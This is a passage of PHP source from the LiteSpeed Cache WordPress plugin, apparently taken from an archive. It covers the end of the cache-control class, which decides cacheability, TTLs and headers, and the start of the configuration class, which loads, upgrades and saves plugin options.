		if (!is_string($reason)) {
			$reason = false;
		}

		if ($reason) {
			$reason = "( $reason )";
		}
		self::debug('X Cache_control -> public forced ' . $reason);
	}

	/**
	 * Check if is public forced
	 *
	 * @access public
	 * @since 1.7.1
	 */
	public static function is_public_forced() {
		return self::$_control & self::BM_PUBLIC_FORCED;
	}

	/**
	 * Set cache control to private
	 *
	 * @access public
	 * @since 1.1.3
	 * @param string $reason The reason to no cache
	 */
	public static function set_private( $reason = false ) {
		if (self::is_private()) {
			return;
		}
		self::$_control |= self::BM_PRIVATE;

		if (!is_string($reason)) {
			$reason = false;
		}

		if ($reason) {
			$reason = "( $reason )";
		}
		self::debug('X Cache_control -> private ' . $reason);
	}

	/**
	 * Check if is private
	 *
	 * @access public
	 * @since 1.1.3
	 */
	public static function is_private() {
		if (defined('LITESPEED_GUEST') && LITESPEED_GUEST) {
			// return false;
		}

		return self::$_control & self::BM_PRIVATE && !self::is_public_forced();
	}

	/**
	 * Initialize cacheable status in `wp` hook, if not call this, by default it will be non-cacheable
	 *
	 * @access public
	 * @since 1.1.3
	 */
	public function set_cacheable( $reason = false ) {
		self::$_control |= self::BM_CACHEABLE;

		if (!is_string($reason)) {
			$reason = false;
		}

		if ($reason) {
			$reason = ' [reason] ' . $reason;
		}
		self::debug('Cache_control init on' . $reason);
	}

	/**
	 * This will disable non-cacheable BM
	 *
	 * @access public
	 * @since 2.2
	 */
	public static function force_cacheable( $reason = false ) {
		self::$_control |= self::BM_FORCED_CACHEABLE;

		if (!is_string($reason)) {
			$reason = false;
		}

		if ($reason) {
			$reason = ' [reason] ' . $reason;
		}
		self::debug('Forced cacheable' . $reason);
	}

	/**
	 * Switch to nocacheable status
	 *
	 * @access public
	 * @since 1.1.3
	 * @param string $reason The reason to no cache
	 */
	public static function set_nocache( $reason = false ) {
		self::$_control |= self::BM_NOTCACHEABLE;

		if (!is_string($reason)) {
			$reason = false;
		}

		if ($reason) {
			$reason = "( $reason )";
		}
		self::debug('X Cache_control -> no Cache ' . $reason, 5);
	}

	/**
	 * Check current notcacheable bit set
	 *
	 * @access public
	 * @since 1.1.3
	 * @return bool True if notcacheable bit is set, otherwise false.
	 */
	public static function isset_notcacheable() {
		return self::$_control & self::BM_NOTCACHEABLE;
	}

	/**
	 * Check current force cacheable bit set
	 *
	 * @access public
	 * @since   2.2
	 */
	public static function is_forced_cacheable() {
		return self::$_control & self::BM_FORCED_CACHEABLE;
	}

	/**
	 * Check current cacheable status
	 *
	 * @access public
	 * @since 1.1.3
	 * @return bool True if is still cacheable, otherwise false.
	 */
	public static function is_cacheable() {
		if (defined('LSCACHE_NO_CACHE') && LSCACHE_NO_CACHE) {
			self::debug('LSCACHE_NO_CACHE constant defined');
			return false;
		}

		// Guest mode always cacheable
		if (defined('LITESPEED_GUEST') && LITESPEED_GUEST) {
			// return true;
		}

		// If its forced public cacheable
		if (self::is_public_forced()) {
			return true;
		}

		// If its forced cacheable
		if (self::is_forced_cacheable()) {
			return true;
		}

		return !self::isset_notcacheable() && self::$_control & self::BM_CACHEABLE;
	}

	/**
	 * Set a custom TTL to use with the request if needed.
	 *
	 * @access public
	 * @since 1.1.3
	 * @param mixed $ttl An integer or string to use as the TTL. Must be numeric.
	 */
	public static function set_custom_ttl( $ttl, $reason = false ) {
		if (is_numeric($ttl)) {
			self::$_custom_ttl = $ttl;
			self::debug('X Cache_control TTL -> ' . $ttl . ($reason ? ' [reason] ' . $ttl : ''));
		}
	}

	/**
	 * Generate final TTL.
	 *
	 * @access public
	 * @since 1.1.3
	 */
	public function get_ttl() {
		if (self::$_custom_ttl != 0) {
			return self::$_custom_ttl;
		}

		// Check if is in timed url list or not
		$timed_urls      = Utility::wildcard2regex($this->conf(Base::O_PURGE_TIMED_URLS));
		$timed_urls_time = $this->conf(Base::O_PURGE_TIMED_URLS_TIME);
		if ($timed_urls && $timed_urls_time) {
			$current_url = Tag::build_uri_tag(true);
			// Use time limit ttl
			$scheduled_time = strtotime($timed_urls_time);
			$ttl            = $scheduled_time - current_time('timestamp');
			if ($ttl < 0) {
				$ttl += 86400; // add one day
			}
			foreach ($timed_urls as $v) {
				if (strpos($v, '*') !== false) {
					if (preg_match('#' . $v . '#iU', $current_url)) {
						self::debug('X Cache_control TTL is limited to ' . $ttl . ' due to scheduled purge regex ' . $v);
						return $ttl;
					}
				} elseif ($v == $current_url) {
					self::debug('X Cache_control TTL is limited to ' . $ttl . ' due to scheduled purge rule ' . $v);
					return $ttl;
				}
			}
		}

		// Private cache uses private ttl setting
		if (self::is_private()) {
			return $this->conf(Base::O_CACHE_TTL_PRIV);
		}

		if (is_front_page()) {
			return $this->conf(Base::O_CACHE_TTL_FRONTPAGE);
		}

		$feed_ttl = $this->conf(Base::O_CACHE_TTL_FEED);
		if (is_feed() && $feed_ttl > 0) {
			return $feed_ttl;
		}

		if ($this->cls('REST')->is_rest() || $this->cls('REST')->is_internal_rest()) {
			return $this->conf(Base::O_CACHE_TTL_REST);
		}

		return $this->conf(Base::O_CACHE_TTL_PUB);
	}

	/**
	 * Check if need to set no cache status for redirection or not
	 *
	 * @access public
	 * @since 1.1.3
	 */
	public function check_redirect( $location, $status ) {
		// TODO: some env don't have SCRIPT_URI but only REQUEST_URI, need to be compatible
		if (!empty($_SERVER['SCRIPT_URI'])) {
			// dont check $status == '301' anymore
			self::debug('301 from ' . $_SERVER['SCRIPT_URI']);
			self::debug("301 to $location");

			$to_check = array( PHP_URL_SCHEME, PHP_URL_HOST, PHP_URL_PATH, PHP_URL_QUERY );

			$is_same_redirect = true;

			foreach ($to_check as $v) {
				$url_parsed = $v == PHP_URL_QUERY ? $_SERVER['QUERY_STRING'] : parse_url($_SERVER['SCRIPT_URI'], $v);
				$target     = parse_url($location, $v);

				self::debug("Compare [from] $url_parsed [to] $target");

				if ($v == PHP_URL_QUERY) {
					$url_parsed = $url_parsed ? urldecode($url_parsed) : '';
					$target     = $target ? urldecode($target) : '';
					if (substr($url_parsed, -1) == '&') {
						$url_parsed = substr($url_parsed, 0, -1);
					}
				}

				if ($url_parsed != $target) {
					$is_same_redirect = false;
					self::debug('301 different redirection');
					break;
				}
			}

			if ($is_same_redirect) {
				self::set_nocache('301 to same url');
			}
		}

		return $location;
	}

	/**
	 * Sets up the Cache Control header.
	 *
	 * @since 1.1.3
	 * @access public
	 * @return string empty string if empty, otherwise the cache control header.
	 */
	public function output() {
		$esi_hdr = '';
		if (ESI::has_esi()) {
			$esi_hdr = ',esi=on';
		}

		$hdr = self::X_HEADER . ': ';

		if (defined('DONOTCACHEPAGE') && apply_filters('litespeed_const_DONOTCACHEPAGE', DONOTCACHEPAGE)) {
			self::debug('❌ forced no cache [reason] DONOTCACHEPAGE const');
			$hdr .= 'no-cache' . $esi_hdr;
			return $hdr;
		}

		// Guest mode directly return cacheable result
		// if ( defined( 'LITESPEED_GUEST' ) && LITESPEED_GUEST ) {
		// If is POST, no cache
		// if ( defined( 'LSCACHE_NO_CACHE' ) && LSCACHE_NO_CACHE ) {
		// self::debug( "[Ctrl] ❌ forced no cache [reason] LSCACHE_NO_CACHE const" );
		// $hdr .= 'no-cache';
		// }
		// else if( $_SERVER[ 'REQUEST_METHOD' ] !== 'GET' ) {
		// self::debug( "[Ctrl] ❌ forced no cache [reason] req not GET" );
		// $hdr .= 'no-cache';
		// }
		// else {
		// $hdr .= 'public';
		// $hdr .= ',max-age=' . $this->get_ttl();
		// }

		// $hdr .= $esi_hdr;

		// return $hdr;
		// }

		// Fix cli `uninstall --deactivate` fatal err

		if (!self::is_cacheable()) {
			$hdr .= 'no-cache' . $esi_hdr;
			return $hdr;
		}

		if (self::is_shared()) {
			$hdr .= 'shared,private';
		} elseif (self::is_private()) {
			$hdr .= 'private';
		} else {
			$hdr .= 'public';
		}

		if (self::is_no_vary()) {
			$hdr .= ',no-vary';
		}

		$hdr .= ',max-age=' . $this->get_ttl() . $esi_hdr;
		return $hdr;
	}

	/**
	 * Generate all `control` tags before output
	 *
	 * @access public
	 * @since 1.1.3
	 */
	public function finalize() {
		if (defined('LITESPEED_GUEST') && LITESPEED_GUEST) {
			// return;
		}

		if (is_preview()) {
			self::set_nocache('preview page');
			return;
		}

		// Check if has metabox non-cacheable setting or not
		if (file_exists(LSCWP_DIR . 'src/metabox.cls.php') && $this->cls('Metabox')->setting('litespeed_no_cache')) {
			self::set_nocache('per post metabox setting');
			return;
		}

		// Check if URI is forced public cache
		$excludes = $this->conf(Base::O_CACHE_FORCE_PUB_URI);
		$hit      = Utility::str_hit_array($_SERVER['REQUEST_URI'], $excludes, true);
		if ($hit) {
			list($result, $this_ttl) = $hit;
			self::set_public_forced('Setting: ' . $result);
			self::debug('Forced public cacheable due to setting: ' . $result);
			if ($this_ttl) {
				self::set_custom_ttl($this_ttl);
			}
		}

		if (self::is_public_forced()) {
			return;
		}

		// Check if URI is forced cache
		$excludes = $this->conf(Base::O_CACHE_FORCE_URI);
		$hit      = Utility::str_hit_array($_SERVER['REQUEST_URI'], $excludes, true);
		if ($hit) {
			list($result, $this_ttl) = $hit;
			self::force_cacheable();
			self::debug('Forced cacheable due to setting: ' . $result);
			if ($this_ttl) {
				self::set_custom_ttl($this_ttl);
			}
		}

		// if is not cacheable, terminate check
		// Even no need to run 3rd party hook
		if (!self::is_cacheable()) {
			self::debug('not cacheable before ctrl finalize');
			return;
		}

		// Apply 3rd party filter
		// NOTE: Hook always needs to run asap because some 3rd party set is_mobile in this hook
		do_action('litespeed_control_finalize', defined('LSCACHE_IS_ESI') ? LSCACHE_IS_ESI : false); // Pass ESI block id

		// if is not cacheable, terminate check
		if (!self::is_cacheable()) {
			self::debug('not cacheable after api_control');
			return;
		}

		// Check litespeed setting to set cacheable status
		if (!$this->_setting_cacheable()) {
			self::set_nocache();
			return;
		}

		// If user has password cookie, do not cache (moved from vary)
		global $post;
		if (!empty($post->post_password) && isset($_COOKIE['wp-postpass_' . COOKIEHASH])) {
			// If user has password cookie, do not cache
			self::set_nocache('pswd cookie');
			return;
		}

		// The following check to the end is ONLY for mobile
		$is_mobile = apply_filters('litespeed_is_mobile', false);
		if (!$this->conf(Base::O_CACHE_MOBILE)) {
			if ($is_mobile) {
				self::set_nocache('mobile');
			}
			return;
		}

		$env_vary = isset($_SERVER['LSCACHE_VARY_VALUE']) ? $_SERVER['LSCACHE_VARY_VALUE'] : false;
		if (!$env_vary) {
			$env_vary = isset($_SERVER['HTTP_X_LSCACHE_VARY_VALUE']) ? $_SERVER['HTTP_X_LSCACHE_VARY_VALUE'] : false;
		}
		if ($env_vary && strpos($env_vary, 'ismobile') !== false) {
			if (!wp_is_mobile() && !$is_mobile) {
				self::set_nocache('is not mobile'); // todo: no need to uncache, it will correct vary value in vary finalize anyways
				return;
			}
		} elseif (wp_is_mobile() || $is_mobile) {
			self::set_nocache('is mobile');
			return;
		}
	}

	/**
	 * Check if is mobile for filter `litespeed_is_mobile` in API
	 *
	 * @since 3.0
	 * @access public
	 */
	public static function is_mobile() {
		return wp_is_mobile();
	}

	/**
	 * Get request method w/ compatibility to X-Http-Method-Override
	 *
	 * @since 6.2
	 */
	private function _get_req_method() {
		if (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
			self::debug('X-Http-Method-Override -> ' . $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
			defined('LITESPEED_X_HTTP_METHOD_OVERRIDE') || define('LITESPEED_X_HTTP_METHOD_OVERRIDE', true);
			return $_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'];
		}
		if (isset($_SERVER['REQUEST_METHOD'])) {
			return $_SERVER['REQUEST_METHOD'];
		}
		return 'unknown';
	}

	/**
	 * Check if a page is cacheable based on litespeed setting.
	 *
	 * @since 1.0.0
	 * @access private
	 * @return boolean True if cacheable, false otherwise.
	 */
	private function _setting_cacheable() {
		// logged_in users already excluded, no hook added

		if (!empty($_REQUEST[Router::ACTION])) {
			return $this->_no_cache_for('Query String Action');
		}

		$method = $this->_get_req_method();
		if (defined('LITESPEED_X_HTTP_METHOD_OVERRIDE') && LITESPEED_X_HTTP_METHOD_OVERRIDE && $method == 'HEAD') {
			return $this->_no_cache_for('HEAD method from override');
		}
		if ('GET' !== $method && 'HEAD' !== $method) {
			return $this->_no_cache_for('Not GET method: ' . $method);
		}

		if (is_feed() && $this->conf(Base::O_CACHE_TTL_FEED) == 0) {
			return $this->_no_cache_for('feed');
		}

		if (is_trackback()) {
			return $this->_no_cache_for('trackback');
		}

		if (is_search()) {
			return $this->_no_cache_for('search');
		}

		// if ( !defined('WP_USE_THEMES') || !WP_USE_THEMES ) {
		// return $this->_no_cache_for('no theme used');
		// }

		// Check private cache URI setting
		$excludes = $this->conf(Base::O_CACHE_PRIV_URI);
		$result   = Utility::str_hit_array($_SERVER['REQUEST_URI'], $excludes);
		if ($result) {
			self::set_private('Admin cfg Private Cached URI: ' . $result);
		}

		if (!self::is_forced_cacheable()) {
			// Check if URI is excluded from cache
			$excludes = $this->cls('Data')->load_cache_nocacheable($this->conf(Base::O_CACHE_EXC));
			$result   = Utility::str_hit_array($_SERVER['REQUEST_URI'], $excludes);
			if ($result) {
				return $this->_no_cache_for('Admin configured URI Do not cache: ' . $result);
			}

			// Check QS excluded setting
			$excludes = $this->conf(Base::O_CACHE_EXC_QS);
			if (!empty($excludes) && ($qs = $this->_is_qs_excluded($excludes))) {
				return $this->_no_cache_for('Admin configured QS Do not cache: ' . $qs);
			}

			$excludes = $this->conf(Base::O_CACHE_EXC_CAT);
			if (!empty($excludes) && has_category($excludes)) {
				return $this->_no_cache_for('Admin configured Category Do not cache.');
			}

			$excludes = $this->conf(Base::O_CACHE_EXC_TAG);
			if (!empty($excludes) && has_tag($excludes)) {
				return $this->_no_cache_for('Admin configured Tag Do not cache.');
			}

			$excludes = $this->conf(Base::O_CACHE_EXC_COOKIES);
			if (!empty($excludes) && !empty($_COOKIE)) {
				$cookie_hit = array_intersect(array_keys($_COOKIE), $excludes);
				if ($cookie_hit) {
					return $this->_no_cache_for('Admin configured Cookie Do not cache.');
				}
			}

			$excludes = $this->conf(Base::O_CACHE_EXC_USERAGENTS);
			if (!empty($excludes) && isset($_SERVER['HTTP_USER_AGENT'])) {
				$nummatches = preg_match(Utility::arr2regex($excludes), $_SERVER['HTTP_USER_AGENT']);
				if ($nummatches) {
					return $this->_no_cache_for('Admin configured User Agent Do not cache.');
				}
			}

			// Check if is exclude roles ( Need to set Vary too )
			if ($result = $this->in_cache_exc_roles()) {
				return $this->_no_cache_for('Role Excludes setting ' . $result);
			}
		}

		return true;
	}

	/**
	 * Write a debug message for if a page is not cacheable.
	 *
	 * @since 1.0.0
	 * @access private
	 * @param string $reason An explanation for why the page is not cacheable.
	 * @return boolean Return false.
	 */
	private function _no_cache_for( $reason ) {
		self::debug('X Cache_control off - ' . $reason);
		return false;
	}

	/**
	 * Check if current request has qs excluded setting
	 *
	 * @since  1.3
	 * @access private
	 * @param  array $excludes QS excludes setting
	 * @return boolean|string False if not excluded, otherwise the hit qs list
	 */
	private function _is_qs_excluded( $excludes ) {
		if (!empty($_GET) && ($intersect = array_intersect(array_keys($_GET), $excludes))) {
			return implode(',', $intersect);
		}
		return false;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/conf.cls.php000064400000042473151031165260017306 0ustar00<?php
// phpcs:ignoreFile

/**
 * The core plugin config class.
 *
 * This maintains all the options and settings for this plugin.
 *
 * @since       1.0.0
 * @package     LiteSpeed
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Conf extends Base {

	const TYPE_SET = 'set';

	private $_updated_ids = array();
	private $_is_primary  = false;

	/**
	 * Specify init logic to avoid infinite loop when calling conf.cls instance
	 *
	 * @since  3.0
	 * @access public
	 */
	public function init() {
		// Check if conf exists or not. If not, create them in DB (won't change version if is converting v2.9- data)
		// Conf may be stale, upgrade later
		$this->_conf_db_init();

		/**
		 * Detect if has quic.cloud set
		 *
		 * @since  2.9.7
		 */
		if ($this->conf(self::O_CDN_QUIC)) {
			!defined('LITESPEED_ALLOWED') && define('LITESPEED_ALLOWED', true);
		}

		add_action('litespeed_conf_append', array( $this, 'option_append' ), 10, 2);
		add_action('litespeed_conf_force', array( $this, 'force_option' ), 10, 2);

		$this->define_cache();
	}

	/**
	 * Init conf related data
	 *
	 * @since  3.0
	 * @access private
	 */
	private function _conf_db_init() {
		/**
		 * Try to load options first, network sites can override this later
		 *
		 * NOTE: Load before run `conf_upgrade()` to avoid infinite loop when getting conf in `conf_upgrade()`
		 */
		$this->load_options();

		// Check if debug is on
		// Init debug as early as possible
		if ($this->conf(Base::O_DEBUG)) {
			$this->cls('Debug2')->init();
		}

		$ver = $this->conf(self::_VER);

		/**
		 * Version is less than v3.0, or, is a new installation
		 */
		$ver_check_tag = 'new';
		if ($ver) {
			defined('LSCWP_CUR_V') || define('LSCWP_CUR_V', $ver);

			/**
			 * Upgrade conf
			 */
			if ($ver != Core::VER) {
				// Plugin version will be set inside
				// Site plugin upgrade & version change will do in load_site_conf
				$ver_check_tag = Data::cls()->conf_upgrade($ver);
			}
		}

		/**
		 * Sync latest new options
		 */
		if (!$ver || $ver != Core::VER) {
			// Load default values
			$this->load_default_vals();
			if (!$ver) {
				// New install
				$this->set_conf(self::$_default_options);

				$ver_check_tag .= ' activate' . (defined('LSCWP_REF') ? '_' . constant( 'LSCWP_REF' ) : '');
			}

			// Init new default/missing options
			foreach (self::$_default_options as $k => $v) {
				// If the option existed, bypass updating
				// Bcos we may ask clients to deactivate for debug temporarily, we need to keep the current cfg in deactivation, hence we need to only try adding default cfg when activating.
				self::add_option($k, $v);
			}

			// Force correct version in case a rare unexpected case that `_ver` exists but empty
			self::update_option(Base::_VER, Core::VER);

			if ($ver_check_tag) {
				Cloud::version_check($ver_check_tag);
			}
		}

		/**
		 * Network sites only
		 *
		 * Override conf if is network subsites and chose `Use Primary Config`
		 */
		$this->_try_load_site_options();

		// Check if debug is on
		// Init debug as early as possible
		if ($this->conf(Base::O_DEBUG)) {
			$this->cls('Debug2')->init();
		}

		// Mark as conf loaded
		defined('LITESPEED_CONF_LOADED') || define('LITESPEED_CONF_LOADED', true);

		if (!$ver || $ver != Core::VER) {
			// Only trigger once in upgrade progress, don't run always
			$this->update_confs(); // Files only get corrected in activation or saving settings actions.
		}
	}

	/**
	 * Load all latest options from DB
	 *
	 * @since  3.0
	 * @access public
	 */
	public function load_options( $blog_id = null, $dry_run = false ) {
		$options = array();
		foreach (self::$_default_options as $k => $v) {
			if (!is_null($blog_id)) {
				$options[$k] = self::get_blog_option($blog_id, $k, $v);
			} else {
				$options[$k] = self::get_option($k, $v);
			}

			// Correct value type
			$options[$k] = $this->type_casting($options[$k], $k);
		}

		if ($dry_run) {
			return $options;
		}

		// Bypass site special settings
		if ($blog_id !== null) {
			// This is to load the primary settings ONLY
			// These options are the ones that can be overwritten by primary
			$options = array_diff_key($options, array_flip(self::$single_site_options));

			$this->set_primary_conf($options);
		} else {
			$this->set_conf($options);
		}

		// Append const options
		if (defined('LITESPEED_CONF') && LITESPEED_CONF) {
			foreach (self::$_default_options as $k => $v) {
				$const = Base::conf_const($k);
				if (defined($const)) {
					$this->set_const_conf($k, $this->type_casting(constant($const), $k));
				}
			}
		}
	}

	/**
	 * For multisite installations, the single site options need to be updated with the network wide options.
	 *
	 * @since 1.0.13
	 * @access private
	 */
	private function _try_load_site_options() {
		if (!$this->_if_need_site_options()) {
			return;
		}

		$this->_conf_site_db_init();

		$this->_is_primary = get_current_blog_id() == BLOG_ID_CURRENT_SITE;

		// If network set to use primary setting
		if ($this->network_conf(self::NETWORK_O_USE_PRIMARY) && !$this->_is_primary) {
			// subsites or network admin
			// Get the primary site settings
			// If it's just upgraded, 2nd blog is being visited before primary blog, can just load default config (won't hurt as this could only happen shortly)
			$this->load_options(BLOG_ID_CURRENT_SITE);
		}

		// Overwrite single blog options with site options
		foreach (self::$_default_options as $k => $v) {
			if (!$this->has_network_conf($k)) {
				continue;
			}
			// $this->_options[ $k ] = $this->_network_options[ $k ];

			// Special handler to `Enable Cache` option if the value is set to OFF
			if ($k == self::O_CACHE) {
				if ($this->_is_primary) {
					if ($this->conf($k) != $this->network_conf($k)) {
						if ($this->conf($k) != self::VAL_ON2) {
							continue;
						}
					}
				} elseif ($this->network_conf(self::NETWORK_O_USE_PRIMARY)) {
					if ($this->has_primary_conf($k) && $this->primary_conf($k) != self::VAL_ON2) {
						// This case will use primary_options override always
						continue;
					}
				} elseif ($this->conf($k) != self::VAL_ON2) {
					continue;
				}
			}

			// primary_options will store primary settings + network settings, OR, store the network settings for subsites
			$this->set_primary_conf($k, $this->network_conf($k));
		}
		// var_dump($this->_options);
	}

	/**
	 * Check if needs to load site_options for network sites
	 *
	 * @since  3.0
	 * @access private
	 */
	private function _if_need_site_options() {
		if (!is_multisite()) {
			return false;
		}

		// Check if needs to use site_options or not
		// todo: check if site settings are separate bcos it will affect .htaccess

		/**
		 * In case this is called outside the admin page
		 *
		 * @see  https://codex.wordpress.org/Function_Reference/is_plugin_active_for_network
		 * @since  2.0
		 */
		if (!function_exists('is_plugin_active_for_network')) {
			require_once ABSPATH . '/wp-admin/includes/plugin.php';
		}
		// If is not activated on network, it will not have site options
		if (!is_plugin_active_for_network(Core::PLUGIN_FILE)) {
			if ((int) $this->conf(self::O_CACHE) == self::VAL_ON2) {
				// Default to cache on
				$this->set_conf(self::_CACHE, true);
			}
			return false;
		}

		return true;
	}

	/**
	 * Init site conf and upgrade if necessary
	 *
	 * @since 3.0
	 * @access private
	 */
	private function _conf_site_db_init() {
		$this->load_site_options();

		$ver = $this->network_conf(self::_VER);

		/**
		 * Don't upgrade or run new installations other than from backend visit
		 * In this case, just use default conf
		 */
		if (!$ver || $ver != Core::VER) {
			if (!is_admin() && !defined('LITESPEED_CLI')) {
				$this->set_network_conf($this->load_default_site_vals());
				return;
			}
		}

		/**
		 * Upgrade conf
		 */
		if ($ver && $ver != Core::VER) {
			// Site plugin version will change inside
			Data::cls()->conf_site_upgrade($ver);
		}

		/**
		 * Is a new installation
		 */
		if (!$ver || $ver != Core::VER) {
			// Load default values
			$this->load_default_site_vals();

			// Init new default/missing options
			foreach (self::$_default_site_options as $k => $v) {
				// If the option existed, bypass updating
				self::add_site_option($k, $v);
			}
		}
	}

	/**
	 * Get the plugin's site wide options.
	 *
	 * If the site wide options are not set yet, set it to default.
	 *
	 * @since 1.0.2
	 * @access public
	 */
	public function load_site_options() {
		if (!is_multisite()) {
			return null;
		}

		// Load all site options
		foreach (self::$_default_site_options as $k => $v) {
			$val = self::get_site_option($k, $v);
			$val = $this->type_casting($val, $k, true);
			$this->set_network_conf($k, $val);
		}
	}

	/**
	 * Append a 3rd party option to default options
	 *
	 * This will not be affected by network use primary site setting.
	 *
	 * NOTE: If it is a multi switch option, need to call `_conf_multi_switch()` first
	 *
	 * @since  3.0
	 * @access public
	 */
	public function option_append( $name, $default ) {
		self::$_default_options[$name] = $default;
		$this->set_conf($name, self::get_option($name, $default));
		$this->set_conf($name, $this->type_casting($this->conf($name), $name));
	}

	/**
	 * Force an option to a certain value
	 *
	 * @since  2.6
	 * @access public
	 */
	public function force_option( $k, $v ) {
		if (!$this->has_conf($k)) {
			return;
		}

		$v = $this->type_casting($v, $k);

		if ($this->conf($k) === $v) {
			return;
		}

		Debug2::debug("[Conf] ** $k forced from " . var_export($this->conf($k), true) . ' to ' . var_export($v, true));

		$this->set_conf($k, $v);
	}

	/**
	 * Define `_CACHE` const in options ( for both single and network )
	 *
	 * @since  3.0
	 * @access public
	 */
	public function define_cache() {
		// Init global const cache on setting
		$this->set_conf(self::_CACHE, false);
		if ((int) $this->conf(self::O_CACHE) == self::VAL_ON || $this->conf(self::O_CDN_QUIC)) {
			$this->set_conf(self::_CACHE, true);
		}

		// Check network
		if (!$this->_if_need_site_options()) {
			// Set cache on
			$this->_define_cache_on();
			return;
		}

		// If use network setting
		if ((int) $this->conf(self::O_CACHE) == self::VAL_ON2 && $this->network_conf(self::O_CACHE)) {
			$this->set_conf(self::_CACHE, true);
		}

		$this->_define_cache_on();
	}

	/**
	 * Define `LITESPEED_ON`
	 *
	 * @since 2.1
	 * @access private
	 */
	private function _define_cache_on() {
		if (!$this->conf(self::_CACHE)) {
			return;
		}

		defined('LITESPEED_ALLOWED') && !defined('LITESPEED_ON') && define('LITESPEED_ON', true);
	}

	/**
	 * Get an option value
	 *
	 * @since  3.0
	 * @access public
	 * @deprecated 4.0 Use $this->conf() instead
	 */
	public static function val( $id, $ori = false ) {
		error_log('Called deprecated function \LiteSpeed\Conf::val(). Please use API call instead.');
		return self::cls()->conf($id, $ori);
	}

	/**
	 * Save option
	 *
	 * @since  3.0
	 * @access public
	 */
	public function update_confs( $the_matrix = array() ) {
		if ($the_matrix) {
			foreach ($the_matrix as $id => $val) {
				$this->update($id, $val);
			}
		}

		if ($this->_updated_ids) {
			foreach ($this->_updated_ids as $id) {
				// Check if need to do a purge all or not
				if ($this->_conf_purge_all($id)) {
					Purge::purge_all('conf changed [id] ' . $id);
				}

				// Check if need to purge a tag
				if ($tag = $this->_conf_purge_tag($id)) {
					Purge::add($tag);
				}

				// Update cron
				if ($this->_conf_cron($id)) {
					$this->cls('Task')->try_clean($id);
				}

				// Reset crawler bypassed list when any of the options WebP replace, guest mode, or cache mobile got changed
				if ($id == self::O_IMG_OPTM_WEBP || $id == self::O_GUEST || $id == self::O_CACHE_MOBILE) {
					$this->cls('Crawler')->clear_disabled_list();
				}
			}
		}

		do_action('litespeed_update_confs', $the_matrix);

		// Update related tables
		$this->cls('Data')->correct_tb_existence();

		// Update related files
		$this->cls('Activation')->update_files();

		/**
		 * CDN related actions - Cloudflare
		 */
		$this->cls('CDN\Cloudflare')->try_refresh_zone();

		/**
		 * CDN related actions - QUIC.cloud
		 *
		 * @since 2.3
		 */
		$this->cls('CDN\Quic')->try_sync_conf();
	}

	/**
	 * Save option
	 *
	 * Note: this is direct save, won't trigger corresponding file update or data sync. To save settings normally, always use `Conf->update_confs()`
	 *
	 * @since  3.0
	 * @access public
	 */
	public function update( $id, $val ) {
		// Bypassed this bcos $this->_options could be changed by force_option()
		// if ( $this->_options[ $id ] === $val ) {
		// return;
		// }

		if ($id == self::_VER) {
			return;
		}

		if ($id == self::O_SERVER_IP) {
			if ($val && !Utility::valid_ipv4($val)) {
				$msg = sprintf(__('Saving option failed. IPv4 only for %s.', 'litespeed-cache'), Lang::title(Base::O_SERVER_IP));
				Admin_Display::error($msg);
				return;
			}
		}

		if (!array_key_exists($id, self::$_default_options)) {
			defined('LSCWP_LOG') && Debug2::debug('[Conf] Invalid option ID ' . $id);
			return;
		}

		if ($val && $this->_conf_pswd($id) && !preg_match('/[^\*]/', $val)) {
			return;
		}

		// Special handler for CDN Original URLs
		if ($id == self::O_CDN_ORI && !$val) {
			$site_url = site_url('/');
			$parsed   = parse_url($site_url);
			$site_url = str_replace($parsed['scheme'] . ':', '', $site_url);

			$val = $site_url;
		}

		// Validate type
		$val = $this->type_casting($val, $id);

		// Save data
		self::update_option($id, $val);

		// Handle purge if setting changed
		if ($this->conf($id) != $val) {
			$this->_updated_ids[] = $id;

			// Check if need to fire a purge or not (Here has to stay inside `update()` bcos need comparing old value)
			if ($this->_conf_purge($id)) {
				$diff  = array_diff($val, $this->conf($id));
				$diff2 = array_diff($this->conf($id), $val);
				$diff  = array_merge($diff, $diff2);
				// If has difference
				foreach ($diff as $v) {
					$v = ltrim($v, '^');
					$v = rtrim($v, '$');
					$this->cls('Purge')->purge_url($v);
				}
			}
		}

		// Update in-memory data
		$this->set_conf($id, $val);
	}

	/**
	 * Save network option
	 *
	 * @since  3.0
	 * @access public
	 */
	public function network_update( $id, $val ) {
		if (!array_key_exists($id, self::$_default_site_options)) {
			defined('LSCWP_LOG') && Debug2::debug('[Conf] Invalid network option ID ' . $id);
			return;
		}

		if ($val && $this->_conf_pswd($id) && !preg_match('/[^\*]/', $val)) {
			return;
		}

		// Validate type
		if (is_bool(self::$_default_site_options[$id])) {
			$max = $this->_conf_multi_switch($id);
			if ($max && $val > 1) {
				$val %= $max + 1;
			} else {
				$val = (bool) $val;
			}
		} elseif (is_array(self::$_default_site_options[$id])) {
			// from textarea input
			if (!is_array($val)) {
				$val = Utility::sanitize_lines($val, $this->_conf_filter($id));
			}
		} elseif (!is_string(self::$_default_site_options[$id])) {
			$val = (int) $val;
		} else {
			// Check if the string has a limit set
			$val = $this->_conf_string_val($id, $val);
		}

		// Save data
		self::update_site_option($id, $val);

		// Handle purge if setting changed
		if ($this->network_conf($id) != $val) {
			// Check if need to do a purge all or not
			if ($this->_conf_purge_all($id)) {
				Purge::purge_all('[Conf] Network conf changed [id] ' . $id);
			}

			// Update in-memory data
			$this->set_network_conf($id, $val);
		}

		// No need to update cron here, Cron will register in each init

		if ($this->has_conf($id)) {
			$this->set_conf($id, $val);
		}
	}

	/**
	 * Check if one user role is in exclude optimization group settings
	 *
	 * @since 1.6
	 * @access public
	 * @param  string $role The user role
	 * @return int       The set value if already set
	 */
	public function in_optm_exc_roles( $role = null ) {
		// Get user role
		if ($role === null) {
			$role = Router::get_role();
		}

		if (!$role) {
			return false;
		}

		$roles = explode(',', $role);
		$found = array_intersect($roles, $this->conf(self::O_OPTM_EXC_ROLES));

		return $found ? implode(',', $found) : false;
	}

	/**
	 * Set one config value directly
	 *
	 * @since  2.9
	 * @access private
	 */
	private function _set_conf() {
		/**
		 * NOTE: For URL Query String setting,
		 *      1. If append lines to an array setting e.g. `cache-force_uri`, use `set[cache-force_uri][]=the_url`.
		 *      2. If replace the array setting with one line, use `set[cache-force_uri]=the_url`.
		 *      3. If replace the array setting with multi lines value, use 2 then 1.
		 */
